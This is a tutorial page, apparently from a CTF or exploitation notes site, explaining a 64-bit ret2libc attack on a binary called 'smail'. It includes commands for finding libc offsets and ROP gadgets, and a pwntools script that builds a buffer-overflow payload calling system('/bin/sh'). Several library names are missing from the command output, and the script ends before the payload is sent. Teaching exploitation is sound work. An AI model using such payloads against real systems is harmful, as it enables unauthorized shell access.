Skip to content

ret2libc - 64-bit Exploit

A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.

Getting Libc and its base

> ldd smail (0x00007ffff7ffa000) => /lib/x86_64-linux-gnu/ (0x00007ffff79e2000)
    /lib64/ (0x00007ffff7dd3000)
We need, so the base address of libc is 0x00007ffff79e2000

Getting the location of system()

To call system, we obviously need its location in memory. We can use the readelf command for this.

> readelf -s /lib/x86_64-linux-gnu/ | grep system
  1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
The -s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x4f550

Getting the location of /bin/sh

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.

> strings -a -t x /lib/x86_64-linux-gnu/ | grep /bin/sh
   1b3e1a /bin/sh
-a tells it to scan the entire file; -t x tells it to output the offset in hex.

RDI register

You will have to use a pop rdi; ret gadget to put it into the RDI register.

> ROPgadget --binary smail | grep rdi
  0x00000000004007f3 : pop rdi ; ret

Besides those functions the return address were should be included

> objdump -d smail | grep ret
  400556: c3  retq


from pwn import *

p = process('./smail')

libc_base = 0x00007ffff79e2000
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a

POP_RDI = 0x4007f3

payload = b'A' * 72         # The padding
payload += p64(0x400556)
payload += p64(POP_RDI)     # gadget -> pop rdi; ret
payload += p64(binsh)       # pointer to command: /bin/sh
payload += p64(system)      # Location of system
payload += p64(0x0)         # return pointer - not important once we get the shell

p.sendline("2")             # target specific